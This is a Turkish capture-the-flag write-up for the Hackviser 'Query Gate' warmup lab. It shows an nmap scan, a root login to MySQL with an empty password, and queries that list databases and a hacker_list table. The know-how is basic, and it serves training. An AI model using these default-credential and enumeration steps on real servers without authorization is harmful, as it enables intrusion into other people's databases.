

warmups 1-Query Gate

Herkese selamlar ben Mansur Derda bugün sizlere Hackviser üzerinde bulunan Warmup 1 / Query Gate makinesinin çözümünü anlatacağım keyifli okumalar.

Öncelikle sitenin bize verdiği ip adresi ile basit bi nmap taraması yapıyorum.

```
(kali㉿kali)-[~]  
$ nmap -sV 172.20.1.13  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 18:55 EDT  
Nmap scan report for 172.20.1.13  
Host is up (0.066s latency).  
Not shown: 999 closed tcp ports (conn-refused)  
PORT      STATE SERVICE VERSION  
3306/tcp  open  mysql    MySQL 8.0.34  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 1.51 seconds
```

Burada açık port olarak "3306" portu ve çalışan servisin "mysql" gözüküyor.

Ardından mysql ye "root:root" bilgileri ile giriş yapmaya çalışıyorum

```
(kali㉿kali)-[~]  
$ mysql -h 172.20.1.13 -u root -p  
Enter password:  
ERROR 1045 (28000): Access denied for user 'root'@'10.8.7.231' (using password: YES)
```

Bu kısımda access denied hatası alıyoruz. satır sonunda "using password: YES" kısmını gördükten sonra şifre girmeden de giriş yapabilme ihtimali aklıma geldi.

Bu sefer "root: " bilgileri ile giriş yapmayı deniyorum (şifre girme kısmında direkt enter'lıyoruz)

```
(kali@kali)-[~]
$ mysql -h 172.20.1.13 -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 8.0.34 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
```

başarılı bir şekilde giriş yaptık

Sistemde bulunan db leri listelemek için "SHOW TABLES;" komutunu kullanıyorum.

```
MySQL [(none)]> SHOW DATABASES;
+-----+
| Database |
+-----+
| detective_inspector |
| information_schema |
| mysql |
| performance_schema |
| sys |
+-----+
5 rows in set (0.073 sec)
```

Burada detective_inspector db'sini merak ediyorum.

"USE detective_inspector;" komutu ile detective_inspectordb'sine geçiş yapıyorum

```
MySQL [(none)]> USE detective_inspector;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
```

Tekrar "SHOW TABLES;" ile listeleme işlemi yapıyorum

```
MySQL [detective_inspector]> SHOW TABLES;
+-----+
| Tables_in_detective_inspector |
+-----+
| hacker_list                    |
+-----+
1 row in set (0.064 sec)
```

Burada ise hacker_list dikkatimi çekiyor.

"SELECT * FROM hacker_list;" komutu ile listeliyorum.

```
MySQL [detective_inspector]> SELECT * FROM hacker_list;
+----+-----+-----+-----+-----+
| id  | firstName | lastName | nickname | type |
+----+-----+-----+-----+-----+
| 1001 | Jed       | Meadows | sp1d3r   | gray-hat |
| 1002 | Melissa  | Gamble  | c0c0net  | gray-hat |
| 1003 | Frank    | Netsi   | v3nus    | gray-hat |
| 1004 | Nancy    | Melton  | sltorml09 | black-hat |
| 1005 | Jack     | Dunn    | psyod3d  | black-hat |
| 1006 | Arron    | Eden    | r4nd0myfff | black-hat |
| 1007 | Lea      | Wells   | pumq7eggy7 | black-hat |
| 1008 | Hackviser | Hackviser | h4ckv1s3r | white-hat |
| 1009 | Xavier    | Klein   | oricy4l33 | black-hat |
+----+-----+-----+-----+-----+
9 rows in set (0.069 sec)

MySQL [detective_inspector]> █
```

Beyaz şapkalı hackerın username bilgisini bu şekilde elde ediyoruz

Umarım bu yazı sizler için faydalı olmuştur diğer yazılarda görüşmek üzere...